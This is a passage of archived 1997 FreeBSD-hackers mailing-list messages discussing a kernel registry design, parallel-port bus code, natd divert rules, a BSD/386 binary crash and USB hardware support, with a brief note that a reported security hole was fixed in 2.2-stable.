hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert stands accused of saying: > > Do I take it that nobody has actually looked at the registry code > > (documented, commented for Steven's delectation) that I mentioned > > last week? ... > I saw the announcement, but have not grabbed the code. > > Do you have a higher level architectural overview? Not on paper, no. To put it very simplisitically : Intent: - To provide a uniform, managed namespace for in-kernel data resources. - To address some of the shortcomings of the sysctl mechanism, most particularly support for more complex datatypes and method-based access. Principal consumers: - Parameter-hungry subsystems (PCI, PnP, PCCARD, network interfaces, etc.) - User-space applications wishing to access/manipulate kernel-private data. Structure: - We have a period-delimited hierarchical namespace, with support for lookup by name or by oid (for sysctl compatability). - Nodes within the namespace may have attached access methods. - Access methods are keyed by name/type, requested data type, etc., ie. a node may have a number of access methods. - Support is implicit for single values, arrays and pointers, as well as methods that have no data per se. > For example, are you doing kernel level file I/O to implement the > thing? No. At this point, I haven't gone so far as to support marking individual nodes or methods as pageable or otherwise; if this becomes desirable, the correct way to implement it would be with pageable kernel memory IMHO. There are issues related to tree/chain transit as well with pageable registry entries that I didn't want to get involved with at this stage. > I've personally been working on Win95/NT style registry API's at the > kernel level (a necessary step to support use of Win32 Ring 0 drivers > in FreeBSD), so I've basically ignored code-level reviews of such things. Fair enough. I would be interested to know what sort of infrastructure support that kind of API would require. > My personal preference is an LDAP database accessable from user or > kernel space, or remotely via an LDAPd. I have not seriously pursued > this because of the (apparent) NDBM requirements. Whilst LDAP is quite a desirable goal to pursue, the principal thrust of this code is to address parameter management for subsystems which lie too low down for LDAP lookup to be useful, eg. drivers, fundamental network configuration, etc. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 18:43:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA18782 for hackers-outgoing; Tue, 5 Aug 1997 18:43:49 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA18767 for ; Tue, 5 Aug 1997 18:43:44 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA01723; Wed, 6 Aug 1997 11:12:12 +0930 (CST) From: Michael Smith Message-Id: <199708060142.LAA01723@genesis.atrad.adelaide.edu.au> Subject: Re: Parallel port bus code? In-Reply-To: <199708051626.JAA06316@phaeton.artisoft.com> from Terry Lambert at "Aug 5, 97 09:26:13 am" To: terry@lambert.org (Terry Lambert) Date: Wed, 6 Aug 1997 11:12:11 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert stands accused of saying: > > Looks like it's my week to be ignored. I've had exactly one response > > to my announcement last week of the new parallel port 'bus' code. > > > > Should I take this as an implicit go-ahead and splat it in? > > If you think it works, I'd say "go for it". Have you worked out > any PLIP/ZIP-driver/LAPlink issues already? The current ppbus code layers so : +--------------+---------+-----+------+ | ppa3/vp0/Zip | new_lpt | ppi | ?? | +--------------+---------+-----+------+ | ppbus primitives | +--------------------+----------------+ | ppc (ISA chipsets) | ? | +--------------------+----------------+ ppc ISA parallel port access code (works, need more chipset support) ppbus Bus code (works) ppa3 Parallel Zip driver (works) new_lpt Traditional printer driver (works, polled mode only) ppi User-space parallel port access (under development) Notably, there is no 'lp' replacement yet. The new code will coexist (but not share ports) with the old 'lpt' driver, so I think it's time to give it some wider exposure, particularly if this shakes any more bugs (or developers) out. ftp://smith.net.au/ppa/ppbus-970730.tgz -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 18:50:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA19272 for hackers-outgoing; Tue, 5 Aug 1997 18:50:39 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA19266 for ; Tue, 5 Aug 1997 18:50:36 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA00543; Tue, 5 Aug 1997 21:50:03 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Tue, 5 Aug 1997 21:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id UAA08143; Tue, 5 Aug 1997 20:12:48 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id UAA06201; Tue, 5 Aug 1997 20:22:02 -0400 (EDT) Date: Tue, 5 Aug 1997 20:22:02 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708060022.UAA06201@lakes.dignus.com> To: ponds!panda.hilink.com.au!danny, ponds!freefall.cdrom.com!freebsd-hackers, ponds!lakes.dignus.com!rivers Subject: Re: two natd's running? Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > Use separate divert rules for the two destinations. > > > > > > > Ummm... not being exactly aware of how ipfw works, etc... can you > > point me to an example? > > ipfw add 10 divert 1 all from any to 203.8.14.0/24 out via sl0 > ipfw add 20 divert 2 all from any to 192.168.0.0/16 out via sl1 > > Start two different natds, listening to sockets 1 and 2 respectively. > > Danny > > Thanks... I'll give that a try! - Dave Rivers - From owner-freebsd-hackers Tue Aug 5 18:51:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA19379 for hackers-outgoing; Tue, 5 Aug 1997 18:51:37 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA19370 for ; Tue, 5 Aug 1997 18:51:34 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id LAA21952; Wed, 6 Aug 1997 11:51:52 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id LAA04493; Wed, 6 Aug 1997 11:20:59 +0930 (CST) Message-Id: <199708060150.LAA04493@freebie.lemis.com> Subject: Re: Ktrace output of BSD binary: In-Reply-To: from Jaye Mathisen at "Aug 5, 97 04:10:15 pm" To: mrcpu@cdsnet.net (Jaye Mathisen) Date: Wed, 6 Aug 1997 11:20:58 +0930 (CST) Cc: hackers@FreeBSD.ORG Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen writes: > > > Short and sweet, but it doesn't tell me anything that I can really use... > > # kdump > 8626 ktrace RET ktrace 0 > 8626 ktrace CALL execve(0xefbfdd83,0xefbfdd44,0xefbfdd4c) > 8626 ktrace NAMI "./asbr" > 8626 asbr RET execve 0 > 8626 asbr PSIG SIGSEGV SIG_DFL > 8626 asbr NAMI "asbr.core" > > > Doesn't even look like it really gets fired up. > > # file asbr > asbr: BSD/386 demand paged (first page unmapped) pure ex There was a problem quite a while ago with BSD/386 executables. They accessed something in the startup code (before main) which isn't (wasn't?) mapped in FreeBSD, a pointer to ps strings (see page 430 of "Porting UNIX Software", which by chance mentions this very problem. I thought the problem had been solved a long time ago--what version of FreeBSD are you running, and what version of BSD/OS did the executable come with? Greg From owner-freebsd-hackers Tue Aug 5 18:53:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA19544 for hackers-outgoing; Tue, 5 Aug 1997 18:53:33 -0700 (PDT) Received: from sage.tamis.com (tamis.com [206.24.116.161]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA19538; Tue, 5 Aug 1997 18:53:30 -0700 (PDT) Received: (from daveh@localhost) by sage.tamis.com (8.8.5/8.6.12) id SAA06069; Tue, 5 Aug 1997 18:52:28 -0700 (PDT) Date: Tue, 5 Aug 1997 18:52:28 -0700 (PDT) From: David Holloway To: Tom cc: Atipa , sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I see USB as another good way to get around the ever present "not enough irqs" problem On Tue, 5 Aug 1997, Tom wrote: > > On Tue, 5 Aug 1997, Atipa wrote: > > > It has very good potential. You can put several different types of > > devices on it, including but not limited to: keyboards, mice, modems, > > keyboards, mice, and modems are pretty simple. > > > cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, > > printers, etc. > > Ugh... network cards can pull 10mbs easily, cdroms can do 8mbs and > higher, Jaz drives can do 16mbs easily, and you are going to put all of > this stuff on a shared 12mbs bus? Ugh... > > tom > From owner-freebsd-hackers Tue Aug 5 18:53:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA19615 for hackers-outgoing; Tue, 5 Aug 1997 18:53:53 -0700 (PDT) Received: from server.netplus.com.br (root@[200.247.23.97]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA19598 for ; Tue, 5 Aug 1997 18:53:49 -0700 (PDT) Received: from sergio.lenzi (dial11.netplus [192.168.9.18]) by server.netplus.com.br (8.8.5/8.8.5) with ESMTP id WAA26024; Tue, 5 Aug 1997 22:56:01 GMT Received: from localhost (lenzi@localhost) by sergio.lenzi (8.8.5/8.8.5) with SMTP id WAA01879; Tue, 5 Aug 1997 22:52:38 GMT X-Authentication-Warning: sergio.lenzi: lenzi owned process doing -bs Date: Tue, 5 Aug 1997 22:52:36 +0000 (GMT) From: "Lenzi, Sergio" X-Sender: lenzi@sergio To: Warner Losh cc: hackers@FreeBSD.ORG Subject: Re: Security hole script. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, Warner Losh wrote: > In message "Lenzi, Sergio" writes: > : Here is the "script" that opens a hole in our FreeBSD 2.2.2... > > This was in bugtraq a while ago. This is fixed in the 2.2-stable > tree. > > Warner > Ok thanks I was using 2.2.2 from the WC cdrom. Sergio Lenzi. Unix consult. From owner-freebsd-hackers Tue Aug 5 19:00:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA19933 for hackers-outgoing; Tue, 5 Aug 1997 19:00:25 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA19906; Tue, 5 Aug 1997 19:00:07 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA01849; Wed, 6 Aug 1997 11:29:46 +0930 (CST) From: Michael Smith Message-Id: <199708060159.LAA01849@genesis.atrad.adelaide.edu.au> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: from Atipa at "Aug 5, 97 02:50:46 pm" To: freebsd@atipa.com (Atipa) Date: Wed, 6 Aug 1997 11:29:45 +0930 (CST) Cc: hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Atipa stands accused of saying: > > Any news on the following high-demand technologies? > > Universal Serial Bus (USB) > http://www.usb.org (503)264-0590 > Modular, _Powered_ I/O w/ neato hubs > 12Mbit/sec, up to 127 devices There are several developers working on this. IMHO USB is an abomination with "Job Security" written on almost every page of the spec. 8( > Intel 430TX Chipset / PIIX3 Controller > http://www.developer.intel.com/deisgn/pcisets/prodbref/430tx/index.htm > Concurrent PCI (2.1) > built-in UltraDMA IDE (33MByte/sec) > built-in USB > support for SDRAM All of these either require no support, are already supported, or have been discussed above. > Accelerated Graphics Port (AGP) > www.agpforum.org > Souped up PCI slot for high performance VGA / HDTV Is a video driver issue; talk to Xi Graphics and the XFree86 people. > DVD CD-ROMs and hardware decoders How are they different from "normal" CD-ROMs? -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 19:07:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA20339 for hackers-outgoing; Tue, 5 Aug 1997 19:07:45 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA20306; Tue, 5 Aug 1997 19:07:10 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA01878; Wed, 6 Aug 1997 11:35:24 +0930 (CST) From: Michael Smith Message-Id: <199708060205.LAA01878@genesis.atrad.adelaide.edu.au> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: from Atipa at "Aug 5, 97 03:41:45 pm" To: freebsd@atipa.com (Atipa) Date: Wed, 6 Aug 1997 11:35:24 +0930 (CST) Cc: sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Atipa stands accused of saying: > > > > Just where did you see this high demand for USB? I sure haven't noticed > > it. > > It has very good potential. You can put several different types of > devices on it, including but not limited to: keyboards, mice, modems, > cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, > printers, etc. It does, indeed, have lots of "potential". It's also an incredible PITA to understand at the protocol level, much less actually work with. 8( I'm on their mailing list; I have so far been solicited for about US$10k worth of "training seminars", documentation, hands-on/hands-off/roaming hands support etc. > It auto-detects the presence of devices with no need to reboot. Providing > power allows for MUCH nicer cabling. With the powers that be* supporting > USB, it would be foolish to show up late to the party. It would also be foolish to leap in in a hurry and waste scarce developer resources on the next fad. > Even without broad peripheral support, consumer demand is high. It is our > business to fill demands for hardware, and I can tell you lots of > people are very interested. I think that the lack of peripheral support is telling; particularly the custom silicon that is almost critical to producing a cost-effective peripheral just hasn't made it to market yet. At the moment, a peripheral vendor has to undertake development of peripheral firmware several orders of magnitude more complex than anything that has ever been seen before, or wait for the silicon. Not being stupid, most are taking the latter approach. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 19:16:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA20807 for hackers-outgoing; Tue, 5 Aug 1997 19:16:46 -0700 (PDT) Received: from onyx.atipa.com (user15924@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA20791 for ; Tue, 5 Aug 1997 19:16:40 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 6 Aug 1997 02:18:59 -0000 Date: Tue, 5 Aug 1997 20:18:58 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: Michael Smith cc: hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708060159.LAA01849@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 6 Aug 1997, Michael Smith wrote: > Atipa stands accused of saying: > > > > Any news on the following high-demand technologies? > > > > Universal Serial Bus (USB) > > http://www.usb.org (503)264-0590 > > Modular, _Powered_ I/O w/ neato hubs > > 12Mbit/sec, up to 127 devices > > There are several developers working on this. IMHO USB is an abomination > with "Job Security" written on almost every page of the spec. 8( Ha. I see no NEED for USB; only added convenience. It would be easier to deal with than a cyclades! If a good API were present, it would be a nice "geek-port" type of interface. This type of interface, if well supported, would make computers EASIER. I know that is not the main concern of people in this group (who are oviously technically adept), but it is still a noble goal. One that is especially appreciated by those of us in the support industry! :) > > Intel 430TX Chipset / PIIX3 Controller > > built-in UltraDMA IDE (33MByte/sec) > > support for SDRAM > > built-in USB > > All of these either require no support, are already supported, or have been > discussed above. I do not believe UltraDMA is supported. The PIIX3 is quite a bit different than the PIIX2, with the RTC and USB built in. > > DVD CD-ROMs and hardware decoders > How are they different from "normal" CD-ROMs? They require hadware decoders. The cinema and audio industries freaked out when they saw the potential for digital duplicates. DVD is encrypted on the media and passed through a decoder. I am certainly no expert, but it does require additional hardware support, above and beyond the host interface. Kevin From owner-freebsd-hackers Tue Aug 5 19:22:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA21194 for hackers-outgoing; Tue, 5 Aug 1997 19:22:55 -0700 (PDT) Received: from onyx.atipa.com (user16090@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA21185 for ; Tue, 5 Aug 1997 19:22:49 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 6 Aug 1997 02:25:14 -0000 Date: Tue, 5 Aug 1997 20:25:14 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: Michael Smith cc: sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708060205.LAA01878@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > It does, indeed, have lots of "potential". It's also an incredible > PITA to understand at the protocol level, much less actually work with. 8( I was wondering about that... > > power allows for MUCH nicer cabling. With the powers that be* supporting > > USB, it would be foolish to show up late to the party. > > It would also be foolish to leap in in a hurry and waste scarce > developer resources on the next fad. Time is most certainly a precious commodity. Hearing the PITA nature, I can see why this is by no means "urgent"... > > Even without broad peripheral support, consumer demand is high. It is our > > business to fill demands for hardware, and I can tell you lots of > > people are very interested. > > I think that the lack of peripheral support is telling; particularly > the custom silicon that is almost critical to producing a > cost-effective peripheral just hasn't made it to market yet. At the > moment, a peripheral vendor has to undertake development of peripheral > firmware several orders of magnitude more complex than anything that > has ever been seen before, or wait for the silicon. Good observations! That was the answer I was looking for. Kevin From owner-freebsd-hackers Tue Aug 5 19:27:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA21451 for hackers-outgoing; Tue, 5 Aug 1997 19:27:13 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA21446 for ; Tue, 5 Aug 1997 19:27:08 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wvvoF-0005DW-00; Tue, 5 Aug 1997 19:26:47 -0700 Date: Tue, 5 Aug 1997 19:26:46 -0700 (PDT) From: Tom Samplonius To: hackers@freebsd.org Subject: 230.4k async serial ports? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I need a 230.4k async serial port on a FreeBSD system. I know that the 16670 UARTs can support this rate, and are apparently probed in FreeBSD-current, but you can actually use set a bps of 230400 in ppp (or other applications)? Tom From owner-freebsd-hackers Tue Aug 5 19:42:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA22352 for hackers-outgoing; Tue, 5 Aug 1997 19:42:48 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@sfmax3-56.ppp.wenet.net [206.80.14.56]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA22324; Tue, 5 Aug 1997 19:42:39 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.6/8.8.5) with SMTP id TAA02073; Tue, 5 Aug 1997 19:40:35 -0700 (PDT) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Tue, 5 Aug 1997 19:40:29 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: Michael Smith cc: Atipa , hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708060159.LAA01849@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 6 Aug 1997, Michael Smith wrote: > > DVD CD-ROMs and hardware decoders > > How are they different from "normal" CD-ROMs? I have no idea, however Memphis has a whole set of drivers specific for DVD stuff and a whole bug section. - alex From owner-freebsd-hackers Tue Aug 5 19:47:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA22635 for hackers-outgoing; Tue, 5 Aug 1997 19:47:13 -0700 (PDT) Received: from folco.lms.ru (folco.lms.ru [193.125.142.40]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA22629 for ; Tue, 5 Aug 1997 19:47:09 -0700 (PDT) Received: from minas-tirith.lms.ru (uucp@localhost) by folco.lms.ru (8.8.5/8.6.9) with UUCP id GAA09830 for freebsd.org!hackers; Wed, 6 Aug 1997 06:46:36 +0400 (MSD) Received: (from uucp@localhost) by minas-tirith.lms.ru (8.8.6/8.6.9) with UUCP id AAA03104; Wed, 6 Aug 1997 00:14:55 +0400 (MSD) Received: from marlin.exis.net (root@marlin.exis.net [205.252.72.102]) by folco.lms.ru (8.8.5/8.6.9) with ESMTP id TAA00381; Tue, 5 Aug 1997 19:14:42 +0400 (MSD) Received: from sailfish.exis.net (sailfish.exis.net [205.252.72.104]) by marlin.exis.net (8.8.4/8.8.5) with SMTP id LAA12860; Tue, 5 Aug 1997 11:09:09 -0400 Date: Tue, 5 Aug 1997 07:05:53 -0400 (EDT) From: Stefan Molnar To: Alex Povolotsky cc: freebsd.org!ports@minas-tirith.lms.ru, freebsd.org!hackers@minas-tirith.lms.ru Subject: Re: Porting diald from Linux In-Reply-To: <199708050456.IAA16063@minas-tirith.lms.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Has anyone tried to port diald from Linux to FreeBSD? It uses special code for > protocol in socket() call to intercept all packets, and Ididn't found that > code in FreeBSD headers (and even in Linux_dev port). If I remeber what diald does in Linux, it is already being done by other proccesses. I know from unerland ppp all you need to do is put in the -auto in the command (ex: ppp -auto MrISP). If I remeber there is someting like that in the pppd. Stefan From owner-freebsd-hackers Tue Aug 5 19:56:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA23148 for hackers-outgoing; Tue, 5 Aug 1997 19:56:06 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA23111; Tue, 5 Aug 1997 19:55:58 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA02704; Wed, 6 Aug 1997 12:22:50 +0930 (CST) From: Michael Smith Message-Id: <199708060252.MAA02704@genesis.atrad.adelaide.edu.au> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: from Atipa at "Aug 5, 97 08:25:14 pm" To: freebsd@atipa.com (Atipa) Date: Wed, 6 Aug 1997 12:22:50 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Atipa stands accused of saying: > > > It does, indeed, have lots of "potential". It's also an incredible > > PITA to understand at the protocol level, much less actually work with. 8( > > I was wondering about that... It just clicked who "Atipa" is; sorry I didn't get it before. If you have customers asking about USB, a couple of useful tactics : - Have a list of all the USB periphs you can source. Often this is small enough that they get turned off straight away. - Have a printed copy of the USB spec that you can wave at them. This works best if they're technically minded and read it, or you can smite them with it later. - Have some FireWire promo lit. instead and sell them on that. 8) > > I think that the lack of peripheral support is telling; particularly > > the custom silicon that is almost critical to producing a > > cost-effective peripheral just hasn't made it to market yet. At the > > moment, a peripheral vendor has to undertake development of peripheral > > firmware several orders of magnitude more complex than anything that > > has ever been seen before, or wait for the silicon. > > Good observations! That was the answer I was looking for. It's a sad one though; if the promised silicon had materialised when it was due, on cost, a USB peripheral would be absolutely trivial to manufacture, and we would be seeing a lot of USB hobby projects too. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 19:58:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA23284 for hackers-outgoing; Tue, 5 Aug 1997 19:58:51 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA23260; Tue, 5 Aug 1997 19:58:33 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA02729; Wed, 6 Aug 1997 12:27:58 +0930 (CST) From: Michael Smith Message-Id: <199708060257.MAA02729@genesis.atrad.adelaide.edu.au> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: from Atipa at "Aug 5, 97 08:18:58 pm" To: freebsd@atipa.com (Atipa) Date: Wed, 6 Aug 1997 12:27:58 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Atipa stands accused of saying: > > > Universal Serial Bus (USB) > > > http://www.usb.org (503)264-0590 > > > Modular, _Powered_ I/O w/ neato hubs > > > 12Mbit/sec, up to 127 devices > > > > There are several developers working on this. IMHO USB is an abomination > > with "Job Security" written on almost every page of the spec. 8( > > Ha. I see no NEED for USB; only added convenience. It would be easier to > deal with than a cyclades! If a good API were present, it would be a nice > "geek-port" type of interface. It's a hideous "geek port" interface. It has a complex, demanding protocol that, if implemented entirely in software would be well beyond the ability of the average "geek" programmer to get right. > This type of interface, if well supported, would make computers EASIER. I > know that is not the main concern of people in this group (who are oviously > technically adept), but it is still a noble goal. One that is especially > appreciated by those of us in the support industry! :) On the contrary, I would be overjoyed to see USB succeed. However, it adds components to the desktop cable mess, and these components currently cost real money. When I can buy a USB hub/controller interface chip in small volumes for under AUD$50 each, I'll say that USB has hit the "geek" market. In 10k volumes, an integrated USB target/micro device would have to be under the AUD$1 mark before it is cost effective. Try getting that sort of quantity pricing on the Z8 or PIC micros commonly used in serial mice these days... > > > DVD CD-ROMs and hardware decoders > > How are they different from "normal" CD-ROMs? > > They require hadware 